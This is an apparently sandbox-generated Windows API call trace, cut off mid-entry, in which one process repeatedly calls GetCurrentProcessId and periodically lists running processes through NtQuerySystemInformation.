[0201.039] GetCurrentProcessId () returned 0xbf4 [0201.039] GetCurrentProcessId () returned 0xbf4 [0201.039] GetCurrentProcessId () returned 0xbf4 [0201.039] GetCurrentProcessId () returned 0xbf4 [0201.039] GetCurrentProcessId () returned 0xbf4 [0201.039] GetCurrentProcessId () returned 0xbf4 [0201.039] GetCurrentProcessId () returned 0xbf4 [0201.039] GetCurrentProcessId () returned 0xbf4 [0201.040] GetCurrentProcessId () returned 0xbf4 [0201.040] GetCurrentProcessId () returned 0xbf4 [0201.040] GetCurrentProcessId () returned 0xbf4 [0201.040] GetCurrentProcessId () returned 0xbf4 [0201.040] GetCurrentProcessId () returned 0xbf4 [0201.040] GetCurrentProcessId () returned 0xbf4 [0201.040] GetCurrentProcessId () returned 0xbf4 [0201.040] GetCurrentProcessId () returned 0xbf4 [0201.040] GetCurrentProcessId () returned 0xbf4 [0201.040] GetCurrentProcessId () returned 0xbf4 [0201.040] GetCurrentProcessId () returned 0xbf4 [0201.040] GetCurrentProcessId () returned 0xbf4 [0201.040] GetCurrentProcessId () returned 0xbf4 [0201.040] GetCurrentProcessId () returned 0xbf4 [0201.040] GetCurrentProcessId () returned 0xbf4 [0201.040] GetCurrentProcessId () returned 0xbf4 [0201.040] GetCurrentProcessId () returned 0xbf4 [0201.040] GetCurrentProcessId () returned 0xbf4 [0201.040] GetCurrentProcessId () returned 0xbf4 [0201.040] GetCurrentProcessId () returned 0xbf4 [0201.040] GetCurrentProcessId () returned 0xbf4 [0201.040] GetCurrentProcessId () returned 0xbf4 [0201.040] GetCurrentProcessId () returned 0xbf4 [0201.040] GetCurrentProcessId () returned 0xbf4 [0201.040] GetCurrentProcessId () returned 0xbf4 [0201.040] GetCurrentProcessId () returned 0xbf4 [0201.040] GetCurrentProcessId () returned 0xbf4 [0201.040] GetCurrentProcessId () returned 0xbf4 [0201.041] GetCurrentProcessId () returned 0xbf4 [0201.041] GetCurrentProcessId () returned 0xbf4 [0201.041] GetCurrentProcessId () returned 0xbf4 [0201.041] GetCurrentProcessId () returned 0xbf4 [0201.041] GetCurrentProcessId () returned 0xbf4 [0201.041] GetCurrentProcessId () returned 0xbf4 [0201.041] GetCurrentProcessId () returned 0xbf4 [0201.041] GetCurrentProcessId () returned 0xbf4 [0201.041] GetCurrentProcessId () returned 0xbf4 [0201.041] GetCurrentProcessId () returned 0xbf4 [0201.041] GetCurrentProcessId () returned 0xbf4 [0201.041] GetCurrentProcessId () returned 0xbf4 [0201.041] GetCurrentProcessId () returned 0xbf4 [0201.041] GetCurrentProcessId () returned 0xbf4 [0201.041] GetCurrentProcessId () returned 0xbf4 [0201.041] GetCurrentProcessId () returned 0xbf4 [0201.041] GetCurrentProcessId () returned 0xbf4 [0201.041] GetCurrentProcessId () returned 0xbf4 [0201.041] GetCurrentProcessId () returned 0xbf4 [0201.041] GetCurrentProcessId () returned 0xbf4 [0201.041] GetCurrentProcessId () returned 0xbf4 [0201.041] GetCurrentProcessId () returned 0xbf4 [0201.041] GetCurrentProcessId () returned 0xbf4 [0201.041] GetCurrentProcessId () returned 0xbf4 [0201.704] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1d098) returned 0x0 [0201.709] GetCurrentProcessId () returned 0xbf4 [0201.709] GetCurrentProcessId () returned 0xbf4 [0201.709] GetCurrentProcessId () returned 0xbf4 [0201.709] GetCurrentProcessId () returned 0xbf4 [0201.709] GetCurrentProcessId () returned 0xbf4 [0201.709] GetCurrentProcessId () returned 0xbf4 [0201.709] GetCurrentProcessId () returned 0xbf4 [0201.709] GetCurrentProcessId () returned 0xbf4 [0201.709] GetCurrentProcessId () returned 0xbf4 [0201.709] GetCurrentProcessId () returned 0xbf4 [0201.710] GetCurrentProcessId () returned 0xbf4 [0201.710] GetCurrentProcessId () returned 0xbf4 [0201.710] GetCurrentProcessId () returned 0xbf4 [0201.710] GetCurrentProcessId () returned 0xbf4 [0201.710] GetCurrentProcessId () returned 0xbf4 [0201.710] GetCurrentProcessId () returned 0xbf4 [0201.710] GetCurrentProcessId () returned 0xbf4 [0201.710] GetCurrentProcessId () returned 0xbf4 [0201.710] GetCurrentProcessId () returned 0xbf4 [0201.710] GetCurrentProcessId () returned 0xbf4 [0201.710] GetCurrentProcessId () returned 0xbf4 [0201.710] GetCurrentProcessId () returned 0xbf4 [0201.710] GetCurrentProcessId () returned 0xbf4 [0201.710] GetCurrentProcessId () returned 0xbf4 [0201.710] GetCurrentProcessId () returned 0xbf4 [0201.710] GetCurrentProcessId () returned 0xbf4 [0201.710] GetCurrentProcessId () returned 0xbf4 [0201.710] GetCurrentProcessId () returned 0xbf4 [0201.710] GetCurrentProcessId () returned 0xbf4 [0201.710] GetCurrentProcessId () returned 0xbf4 [0201.710] GetCurrentProcessId () returned 0xbf4 [0201.710] GetCurrentProcessId () returned 0xbf4 [0201.710] GetCurrentProcessId () returned 0xbf4 [0201.710] GetCurrentProcessId () returned 0xbf4 [0201.710] GetCurrentProcessId () returned 0xbf4 [0201.710] GetCurrentProcessId () returned 0xbf4 [0201.710] GetCurrentProcessId () returned 0xbf4 [0201.710] GetCurrentProcessId () returned 0xbf4 [0201.710] GetCurrentProcessId () returned 0xbf4 [0201.710] GetCurrentProcessId () returned 0xbf4 [0201.710] GetCurrentProcessId () returned 0xbf4 [0201.710] GetCurrentProcessId () returned 0xbf4 [0201.710] GetCurrentProcessId () returned 0xbf4 [0201.710] GetCurrentProcessId () returned 0xbf4 [0201.711] GetCurrentProcessId () returned 0xbf4 [0201.711] GetCurrentProcessId () returned 0xbf4 [0201.711] GetCurrentProcessId () returned 0xbf4 [0201.711] GetCurrentProcessId () returned 0xbf4 [0201.711] GetCurrentProcessId () returned 0xbf4 [0201.711] GetCurrentProcessId () returned 0xbf4 [0201.711] GetCurrentProcessId () returned 0xbf4 [0201.711] GetCurrentProcessId () returned 0xbf4 [0201.711] GetCurrentProcessId () returned 0xbf4 [0201.711] GetCurrentProcessId () returned 0xbf4 [0201.711] GetCurrentProcessId () returned 0xbf4 [0201.711] GetCurrentProcessId () returned 0xbf4 [0201.711] GetCurrentProcessId () returned 0xbf4 [0201.711] GetCurrentProcessId () returned 0xbf4 [0201.711] GetCurrentProcessId () returned 0xbf4 [0201.711] GetCurrentProcessId () returned 0xbf4 [0201.711] GetCurrentProcessId () returned 0xbf4 [0201.711] GetCurrentProcessId () returned 0xbf4 [0201.711] GetCurrentProcessId () returned 0xbf4 [0201.711] GetCurrentProcessId () returned 0xbf4 [0201.711] GetCurrentProcessId () returned 0xbf4 [0201.711] GetCurrentProcessId () returned 0xbf4 [0201.711] GetCurrentProcessId () returned 0xbf4 [0201.711] GetCurrentProcessId () returned 0xbf4 [0201.711] GetCurrentProcessId () returned 0xbf4 [0201.711] GetCurrentProcessId () returned 0xbf4 [0201.711] GetCurrentProcessId () returned 0xbf4 [0201.711] GetCurrentProcessId () returned 0xbf4 [0201.711] GetCurrentProcessId () returned 0xbf4 [0201.711] GetCurrentProcessId () returned 0xbf4 [0201.711] GetCurrentProcessId () returned 0xbf4 [0201.711] GetCurrentProcessId () returned 0xbf4 [0201.711] GetCurrentProcessId () returned 0xbf4 [0201.711] GetCurrentProcessId () returned 0xbf4 [0201.711] GetCurrentProcessId () returned 0xbf4 [0201.711] GetCurrentProcessId () returned 0xbf4 [0201.711] GetCurrentProcessId () returned 0xbf4 [0201.712] GetCurrentProcessId () returned 0xbf4 [0201.712] GetCurrentProcessId () returned 0xbf4 [0201.712] GetCurrentProcessId () returned 0xbf4 [0201.712] GetCurrentProcessId () returned 0xbf4 [0201.712] GetCurrentProcessId () returned 0xbf4 [0201.712] GetCurrentProcessId () returned 0xbf4 [0201.712] GetCurrentProcessId () returned 0xbf4 [0201.712] GetCurrentProcessId () returned 0xbf4 [0201.712] GetCurrentProcessId () returned 0xbf4 [0201.712] GetCurrentProcessId () returned 0xbf4 [0201.712] GetCurrentProcessId () returned 0xbf4 [0201.712] GetCurrentProcessId () returned 0xbf4 [0201.712] GetCurrentProcessId () returned 0xbf4 [0201.712] GetCurrentProcessId () returned 0xbf4 [0201.712] GetCurrentProcessId () returned 0xbf4 [0201.712] GetCurrentProcessId () returned 0xbf4 [0201.712] GetCurrentProcessId () returned 0xbf4 [0201.712] GetCurrentProcessId () returned 0xbf4 [0201.712] GetCurrentProcessId () returned 0xbf4 [0201.712] GetCurrentProcessId () returned 0xbf4 [0201.712] GetCurrentProcessId () returned 0xbf4 [0201.712] GetCurrentProcessId () returned 0xbf4 [0201.712] GetCurrentProcessId () returned 0xbf4 [0201.712] GetCurrentProcessId () returned 0xbf4 [0201.712] GetCurrentProcessId () returned 0xbf4 [0201.712] GetCurrentProcessId () returned 0xbf4 [0201.712] GetCurrentProcessId () returned 0xbf4 [0202.392] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1d098) returned 0x0 [0202.395] GetCurrentProcessId () returned 0xbf4 [0202.395] GetCurrentProcessId () returned 0xbf4 [0202.395] GetCurrentProcessId () returned 0xbf4 [0202.395] GetCurrentProcessId () returned 0xbf4 [0202.395] GetCurrentProcessId () returned 0xbf4 [0202.395] GetCurrentProcessId () returned 0xbf4 [0202.395] GetCurrentProcessId () returned 0xbf4 [0202.395] GetCurrentProcessId () returned 0xbf4 [0202.395] GetCurrentProcessId () returned 0xbf4 [0202.395] GetCurrentProcessId () returned 0xbf4 [0202.395] GetCurrentProcessId () returned 0xbf4 [0202.395] GetCurrentProcessId () returned 0xbf4 [0202.395] GetCurrentProcessId () returned 0xbf4 [0202.395] GetCurrentProcessId () returned 0xbf4 [0202.395] GetCurrentProcessId () returned 0xbf4 [0202.395] GetCurrentProcessId () returned 0xbf4 [0202.395] GetCurrentProcessId () returned 0xbf4 [0202.395] GetCurrentProcessId () returned 0xbf4 [0202.395] GetCurrentProcessId () returned 0xbf4 [0202.395] GetCurrentProcessId () returned 0xbf4 [0202.395] GetCurrentProcessId () returned 0xbf4 [0202.395] GetCurrentProcessId () returned 0xbf4 [0202.395] GetCurrentProcessId () returned 0xbf4 [0202.395] GetCurrentProcessId () returned 0xbf4 [0202.395] GetCurrentProcessId () returned 0xbf4 [0202.395] GetCurrentProcessId () returned 0xbf4 [0202.395] GetCurrentProcessId () returned 0xbf4 [0202.395] GetCurrentProcessId () returned 0xbf4 [0202.396] GetCurrentProcessId () returned 0xbf4 [0202.396] GetCurrentProcessId () returned 0xbf4 [0202.396] GetCurrentProcessId () returned 0xbf4 [0202.396] GetCurrentProcessId () returned 0xbf4 [0202.396] GetCurrentProcessId () returned 0xbf4 [0202.396] GetCurrentProcessId () returned 0xbf4 [0202.396] GetCurrentProcessId () returned 0xbf4 [0202.396] GetCurrentProcessId () returned 0xbf4 [0202.396] GetCurrentProcessId () returned 0xbf4 [0202.396] GetCurrentProcessId () returned 0xbf4 [0202.396] GetCurrentProcessId () returned 0xbf4 [0202.396] GetCurrentProcessId () returned 0xbf4 [0202.396] GetCurrentProcessId () returned 0xbf4 [0202.396] GetCurrentProcessId () returned 0xbf4 [0202.396] GetCurrentProcessId () returned 0xbf4 [0202.396] GetCurrentProcessId () returned 0xbf4 [0202.396] GetCurrentProcessId () returned 0xbf4 [0202.396] GetCurrentProcessId () returned 0xbf4 [0202.396] GetCurrentProcessId () returned 0xbf4 [0202.396] GetCurrentProcessId () returned 0xbf4 [0202.396] GetCurrentProcessId () returned 0xbf4 [0202.396] GetCurrentProcessId () returned 0xbf4 [0202.396] GetCurrentProcessId () returned 0xbf4 [0202.396] GetCurrentProcessId () returned 0xbf4 [0202.396] GetCurrentProcessId () returned 0xbf4 [0202.396] GetCurrentProcessId () returned 0xbf4 [0202.396] GetCurrentProcessId () returned 0xbf4 [0202.396] GetCurrentProcessId () returned 0xbf4 [0202.396] GetCurrentProcessId () returned 0xbf4 [0202.396] GetCurrentProcessId () returned 0xbf4 [0202.396] GetCurrentProcessId () returned 0xbf4 [0202.396] GetCurrentProcessId () returned 0xbf4 [0202.396] GetCurrentProcessId () returned 0xbf4 [0202.396] GetCurrentProcessId () returned 0xbf4 [0202.396] GetCurrentProcessId () returned 0xbf4 [0202.397] GetCurrentProcessId () returned 0xbf4 [0202.397] GetCurrentProcessId () returned 0xbf4 [0202.397] GetCurrentProcessId () returned 0xbf4 [0202.397] GetCurrentProcessId () returned 0xbf4 [0202.397] GetCurrentProcessId () returned 0xbf4 [0202.397] GetCurrentProcessId () returned 0xbf4 [0202.397] GetCurrentProcessId () returned 0xbf4 [0202.397] GetCurrentProcessId () returned 0xbf4 [0202.397] GetCurrentProcessId () returned 0xbf4 [0202.397] GetCurrentProcessId () returned 0xbf4 [0202.397] GetCurrentProcessId () returned 0xbf4 [0202.397] GetCurrentProcessId () returned 0xbf4 [0202.397] GetCurrentProcessId () returned 0xbf4 [0202.397] GetCurrentProcessId () returned 0xbf4 [0202.397] GetCurrentProcessId () returned 0xbf4 [0202.397] GetCurrentProcessId () returned 0xbf4 [0202.397] GetCurrentProcessId () returned 0xbf4 [0202.397] GetCurrentProcessId () returned 0xbf4 [0202.397] GetCurrentProcessId () returned 0xbf4 [0202.397] GetCurrentProcessId () returned 0xbf4 [0202.397] GetCurrentProcessId () returned 0xbf4 [0202.397] GetCurrentProcessId () returned 0xbf4 [0202.397] GetCurrentProcessId () returned 0xbf4 [0202.397] GetCurrentProcessId () returned 0xbf4 [0202.397] GetCurrentProcessId () returned 0xbf4 [0202.397] GetCurrentProcessId () returned 0xbf4 [0202.397] GetCurrentProcessId () returned 0xbf4 [0202.397] GetCurrentProcessId () returned 0xbf4 [0202.397] GetCurrentProcessId () returned 0xbf4 [0202.397] GetCurrentProcessId () returned 0xbf4 [0202.397] GetCurrentProcessId () returned 0xbf4 [0202.397] GetCurrentProcessId () returned 0xbf4 [0202.397] GetCurrentProcessId () returned 0xbf4 [0202.398] GetCurrentProcessId () returned 0xbf4 [0202.398] GetCurrentProcessId () returned 0xbf4 [0202.398] GetCurrentProcessId () returned 0xbf4 [0202.398] GetCurrentProcessId () returned 0xbf4 [0202.398] GetCurrentProcessId () returned 0xbf4 [0202.398] GetCurrentProcessId () returned 0xbf4 [0202.398] GetCurrentProcessId () returned 0xbf4 [0202.398] GetCurrentProcessId () returned 0xbf4 [0202.398] GetCurrentProcessId () returned 0xbf4 [0202.398] GetCurrentProcessId () returned 0xbf4 [0202.398] GetCurrentProcessId () returned 0xbf4 [0202.398] GetCurrentProcessId () returned 0xbf4 [0203.269] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1d098) returned 0x0 [0203.271] GetCurrentProcessId () returned 0xbf4 [0203.271] GetCurrentProcessId () returned 0xbf4 [0203.271] GetCurrentProcessId () returned 0xbf4 [0203.271] GetCurrentProcessId () returned 0xbf4 [0203.271] GetCurrentProcessId () returned 0xbf4 [0203.271] GetCurrentProcessId () returned 0xbf4 [0203.271] GetCurrentProcessId () returned 0xbf4 [0203.271] GetCurrentProcessId () returned 0xbf4 [0203.271] GetCurrentProcessId () returned 0xbf4 [0203.271] GetCurrentProcessId () returned 0xbf4 [0203.271] GetCurrentProcessId () returned 0xbf4 [0203.271] GetCurrentProcessId () returned 0xbf4 [0203.271] GetCurrentProcessId () returned 0xbf4 [0203.271] GetCurrentProcessId () returned 0xbf4 [0203.271] GetCurrentProcessId () returned 0xbf4 [0203.271] GetCurrentProcessId () returned 0xbf4 [0203.271] GetCurrentProcessId () returned 0xbf4 [0203.271] GetCurrentProcessId () returned 0xbf4 [0203.271] GetCurrentProcessId () returned 0xbf4 [0203.271] GetCurrentProcessId () returned 0xbf4 [0203.271] GetCurrentProcessId () returned 0xbf4 [0203.271] GetCurrentProcessId () returned 0xbf4 [0203.272] GetCurrentProcessId () returned 0xbf4 [0203.272] GetCurrentProcessId () returned 0xbf4 [0203.272] GetCurrentProcessId () returned 0xbf4 [0203.272] GetCurrentProcessId () returned 0xbf4 [0203.272] GetCurrentProcessId () returned 0xbf4 [0203.272] GetCurrentProcessId () returned 0xbf4 [0203.272] GetCurrentProcessId () returned 0xbf4 [0203.272] GetCurrentProcessId () returned 0xbf4 [0203.272] GetCurrentProcessId () returned 0xbf4 [0203.272] GetCurrentProcessId () returned 0xbf4 [0203.272] GetCurrentProcessId () returned 0xbf4 [0203.272] GetCurrentProcessId () returned 0xbf4 [0203.272] GetCurrentProcessId () returned 0xbf4 [0203.272] GetCurrentProcessId () returned 0xbf4 [0203.272] GetCurrentProcessId () returned 0xbf4 [0203.272] GetCurrentProcessId () returned 0xbf4 [0203.272] GetCurrentProcessId () returned 0xbf4 [0203.272] GetCurrentProcessId () returned 0xbf4 [0203.272] GetCurrentProcessId () returned 0xbf4 [0203.272] GetCurrentProcessId () returned 0xbf4 [0203.272] GetCurrentProcessId () returned 0xbf4 [0203.272] GetCurrentProcessId () returned 0xbf4 [0203.272] GetCurrentProcessId () returned 0xbf4 [0203.272] GetCurrentProcessId () returned 0xbf4 [0203.272] GetCurrentProcessId () returned 0xbf4 [0203.272] GetCurrentProcessId () returned 0xbf4 [0203.272] GetCurrentProcessId () returned 0xbf4 [0203.272] GetCurrentProcessId () returned 0xbf4 [0203.272] GetCurrentProcessId () returned 0xbf4 [0203.272] GetCurrentProcessId () returned 0xbf4 [0203.272] GetCurrentProcessId () returned 0xbf4 [0203.272] GetCurrentProcessId () returned 0xbf4 [0203.273] GetCurrentProcessId () returned 0xbf4 [0203.273] GetCurrentProcessId () returned 0xbf4 [0203.273] GetCurrentProcessId () returned 0xbf4 [0203.273] GetCurrentProcessId () returned 0xbf4 [0203.273] GetCurrentProcessId () returned 0xbf4 [0203.273] GetCurrentProcessId () returned 0xbf4 [0203.273] GetCurrentProcessId () returned 0xbf4 [0203.273] GetCurrentProcessId () returned 0xbf4 [0203.273] GetCurrentProcessId () returned 0xbf4 [0203.273] GetCurrentProcessId () returned 0xbf4 [0203.273] GetCurrentProcessId () returned 0xbf4 [0203.273] GetCurrentProcessId () returned 0xbf4 [0203.273] GetCurrentProcessId () returned 0xbf4 [0203.273] GetCurrentProcessId () returned 0xbf4 [0203.273] GetCurrentProcessId () returned 0xbf4 [0203.273] GetCurrentProcessId () returned 0xbf4 [0203.273] GetCurrentProcessId () returned 0xbf4 [0203.273] GetCurrentProcessId () returned 0xbf4 [0203.273] GetCurrentProcessId () returned 0xbf4 [0203.273] GetCurrentProcessId () returned 0xbf4 [0203.273] GetCurrentProcessId () returned 0xbf4 [0203.273] GetCurrentProcessId () returned 0xbf4 [0203.273] GetCurrentProcessId () returned 0xbf4 [0203.273] GetCurrentProcessId () returned 0xbf4 [0203.273] GetCurrentProcessId () returned 0xbf4 [0203.273] GetCurrentProcessId () returned 0xbf4 [0203.273] GetCurrentProcessId () returned 0xbf4 [0203.273] GetCurrentProcessId () returned 0xbf4 [0203.273] GetCurrentProcessId () returned 0xbf4 [0203.273] GetCurrentProcessId () returned 0xbf4 [0203.273] GetCurrentProcessId () returned 0xbf4 [0203.273] GetCurrentProcessId () returned 0xbf4 [0203.273] GetCurrentProcessId () returned 0xbf4 [0203.273] GetCurrentProcessId () returned 0xbf4 [0203.274] GetCurrentProcessId () returned 0xbf4 [0203.274] GetCurrentProcessId () returned 0xbf4 [0203.274] GetCurrentProcessId () returned 0xbf4 [0203.274] GetCurrentProcessId () returned 0xbf4 [0203.274] GetCurrentProcessId () returned 0xbf4 [0203.274] GetCurrentProcessId () returned 0xbf4 [0203.274] GetCurrentProcessId () returned 0xbf4 [0203.274] GetCurrentProcessId () returned 0xbf4 [0203.274] GetCurrentProcessId () returned 0xbf4 [0203.274] GetCurrentProcessId () returned 0xbf4 [0203.274] GetCurrentProcessId () returned 0xbf4 [0203.274] GetCurrentProcessId () returned 0xbf4 [0203.274] GetCurrentProcessId () returned 0xbf4 [0203.274] GetCurrentProcessId () returned 0xbf4 [0203.274] GetCurrentProcessId () returned 0xbf4 [0203.274] GetCurrentProcessId () returned 0xbf4 [0203.274] GetCurrentProcessId () returned 0xbf4 [0203.274] GetCurrentProcessId () returned 0xbf4 [0203.274] GetCurrentProcessId () returned 0xbf4 [0203.274] GetCurrentProcessId () returned 0xbf4 [0204.058] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1cf08) returned 0x0 [0204.062] GetCurrentProcessId () returned 0xbf4 [0204.062] GetCurrentProcessId () returned 0xbf4 [0204.063] GetCurrentProcessId () returned 0xbf4 [0204.063] GetCurrentProcessId () returned 0xbf4 [0204.063] GetCurrentProcessId () returned 0xbf4 [0204.063] GetCurrentProcessId () returned 0xbf4 [0204.063] GetCurrentProcessId () returned 0xbf4 [0204.063] GetCurrentProcessId () returned 0xbf4 [0204.063] GetCurrentProcessId () returned 0xbf4 [0204.063] GetCurrentProcessId () returned 0xbf4 [0204.063] GetCurrentProcessId () returned 0xbf4 [0204.063] GetCurrentProcessId () returned 0xbf4 [0204.063] GetCurrentProcessId () returned 0xbf4 [0204.063] GetCurrentProcessId () returned 0xbf4 [0204.063] GetCurrentProcessId () returned 0xbf4 [0204.063] GetCurrentProcessId () returned 0xbf4 [0204.063] GetCurrentProcessId () returned 0xbf4 [0204.063] GetCurrentProcessId () returned 0xbf4 [0204.063] GetCurrentProcessId () returned 0xbf4 [0204.063] GetCurrentProcessId () returned 0xbf4 [0204.063] GetCurrentProcessId () returned 0xbf4 [0204.063] GetCurrentProcessId () returned 0xbf4 [0204.063] GetCurrentProcessId () returned 0xbf4 [0204.063] GetCurrentProcessId () returned 0xbf4 [0204.063] GetCurrentProcessId () returned 0xbf4 [0204.063] GetCurrentProcessId () returned 0xbf4 [0204.063] GetCurrentProcessId () returned 0xbf4 [0204.063] GetCurrentProcessId () returned 0xbf4 [0204.063] GetCurrentProcessId () returned 0xbf4 [0204.063] GetCurrentProcessId () returned 0xbf4 [0204.063] GetCurrentProcessId () returned 0xbf4 [0204.063] GetCurrentProcessId () returned 0xbf4 [0204.063] GetCurrentProcessId () returned 0xbf4 [0204.063] GetCurrentProcessId () returned 0xbf4 [0204.063] GetCurrentProcessId () returned 0xbf4 [0204.063] GetCurrentProcessId () returned 0xbf4 [0204.063] GetCurrentProcessId () returned 0xbf4 [0204.063] GetCurrentProcessId () returned 0xbf4 [0204.063] GetCurrentProcessId () returned 0xbf4 [0204.063] GetCurrentProcessId () returned 0xbf4 [0204.064] GetCurrentProcessId () returned 0xbf4 [0204.064] GetCurrentProcessId () returned 0xbf4 [0204.064] GetCurrentProcessId () returned 0xbf4 [0204.064] GetCurrentProcessId () returned 0xbf4 [0204.064] GetCurrentProcessId () returned 0xbf4 [0204.064] GetCurrentProcessId () returned 0xbf4 [0204.064] GetCurrentProcessId () returned 0xbf4 [0204.064] GetCurrentProcessId () returned 0xbf4 [0204.064] GetCurrentProcessId () returned 0xbf4 [0204.064] GetCurrentProcessId () returned 0xbf4 [0204.064] GetCurrentProcessId () returned 0xbf4 [0204.064] GetCurrentProcessId () returned 0xbf4 [0204.064] GetCurrentProcessId () returned 0xbf4 [0204.064] GetCurrentProcessId () returned 0xbf4 [0204.064] GetCurrentProcessId () returned 0xbf4 [0204.064] GetCurrentProcessId () returned 0xbf4 [0204.064] GetCurrentProcessId () returned 0xbf4 [0204.064] GetCurrentProcessId () returned 0xbf4 [0204.064] GetCurrentProcessId () returned 0xbf4 [0204.064] GetCurrentProcessId () returned 0xbf4 [0204.064] GetCurrentProcessId () returned 0xbf4 [0204.064] GetCurrentProcessId () returned 0xbf4 [0204.064] GetCurrentProcessId () returned 0xbf4 [0204.064] GetCurrentProcessId () returned 0xbf4 [0204.064] GetCurrentProcessId () returned 0xbf4 [0204.064] GetCurrentProcessId () returned 0xbf4 [0204.064] GetCurrentProcessId () returned 0xbf4 [0204.064] GetCurrentProcessId () returned 0xbf4 [0204.064] GetCurrentProcessId () returned 0xbf4 [0204.064] GetCurrentProcessId () returned 0xbf4 [0204.064] GetCurrentProcessId () returned 0xbf4 [0204.064] GetCurrentProcessId () returned 0xbf4 [0204.064] GetCurrentProcessId () returned 0xbf4 [0204.064] GetCurrentProcessId () returned 0xbf4 [0204.064] GetCurrentProcessId () returned 0xbf4 [0204.064] GetCurrentProcessId () returned 0xbf4 [0204.064] GetCurrentProcessId () returned 0xbf4 [0204.064] GetCurrentProcessId () returned 0xbf4 [0204.065] GetCurrentProcessId () returned 0xbf4 [0204.065] GetCurrentProcessId () returned 0xbf4 [0204.065] GetCurrentProcessId () returned 0xbf4 [0204.065] GetCurrentProcessId () returned 0xbf4 [0204.065] GetCurrentProcessId () returned 0xbf4 [0204.065] GetCurrentProcessId () returned 0xbf4 [0204.065] GetCurrentProcessId () returned 0xbf4 [0204.065] GetCurrentProcessId () returned 0xbf4 [0204.065] GetCurrentProcessId () returned 0xbf4 [0204.065] GetCurrentProcessId () returned 0xbf4 [0204.065] GetCurrentProcessId () returned 0xbf4 [0204.065] GetCurrentProcessId () returned 0xbf4 [0204.065] GetCurrentProcessId () returned 0xbf4 [0204.065] GetCurrentProcessId () returned 0xbf4 [0204.065] GetCurrentProcessId () returned 0xbf4 [0204.065] GetCurrentProcessId () returned 0xbf4 [0204.065] GetCurrentProcessId () returned 0xbf4 [0204.065] GetCurrentProcessId () returned 0xbf4 [0204.065] GetCurrentProcessId () returned 0xbf4 [0204.065] GetCurrentProcessId () returned 0xbf4 [0204.065] GetCurrentProcessId () returned 0xbf4 [0204.065] GetCurrentProcessId () returned 0xbf4 [0204.065] GetCurrentProcessId () returned 0xbf4 [0204.065] GetCurrentProcessId () returned 0xbf4 [0204.065] GetCurrentProcessId () returned 0xbf4 [0204.065] GetCurrentProcessId () returned 0xbf4 [0204.065] GetCurrentProcessId () returned 0xbf4 [0204.065] GetCurrentProcessId () returned 0xbf4 [0204.065] GetCurrentProcessId () returned 0xbf4 [0204.065] GetCurrentProcessId () returned 0xbf4 [0204.782] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1ceb8) returned 0x0 [0205.600] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1cc70) returned 0x0 [0206.381] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1cc70) returned 0x0 [0207.180] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1ccc0) returned 0x0 [0207.912] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1cc70) returned 0x0 [0208.609] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1ccc0) returned 0x0 [0209.254] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1ccc0) returned 0x0 [0209.295] GetCurrentProcessId () returned 0xbf4 [0209.295] GetCurrentProcessId () returned 0xbf4 [0209.295] GetCurrentProcessId () returned 0xbf4 [0209.295] GetCurrentProcessId () returned 0xbf4 [0209.295] GetCurrentProcessId () returned 0xbf4 [0209.295] GetCurrentProcessId () returned 0xbf4 [0209.295] GetCurrentProcessId () returned 0xbf4 [0209.295] GetCurrentProcessId () returned 0xbf4 [0209.295] GetCurrentProcessId () returned 0xbf4 [0209.295] GetCurrentProcessId () returned 0xbf4 [0209.295] GetCurrentProcessId () returned 0xbf4 [0209.295] GetCurrentProcessId () returned 0xbf4 [0209.295] GetCurrentProcessId () returned 0xbf4 [0209.295] GetCurrentProcessId () returned 0xbf4 [0209.295] GetCurrentProcessId () returned 0xbf4 [0209.295] GetCurrentProcessId () returned 0xbf4 [0209.295] GetCurrentProcessId () returned 0xbf4 [0209.295] GetCurrentProcessId () returned 0xbf4 [0209.295] GetCurrentProcessId () returned 0xbf4 [0209.295] GetCurrentProcessId () returned 0xbf4 [0210.203] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1cc20) returned 0x0 [0210.210] GetCurrentProcessId () returned 0xbf4 [0210.210] GetCurrentProcessId () returned 0xbf4 [0210.210] GetCurrentProcessId () returned 0xbf4 [0210.210] GetCurrentProcessId () returned 0xbf4 [0210.210] GetCurrentProcessId () returned 0xbf4 [0210.210] GetCurrentProcessId () returned 0xbf4 [0210.210] GetCurrentProcessId () returned 0xbf4 [0210.210] GetCurrentProcessId () returned 0xbf4 [0210.210] GetCurrentProcessId () returned 0xbf4 [0210.210] GetCurrentProcessId () returned 0xbf4 [0210.210] GetCurrentProcessId () returned 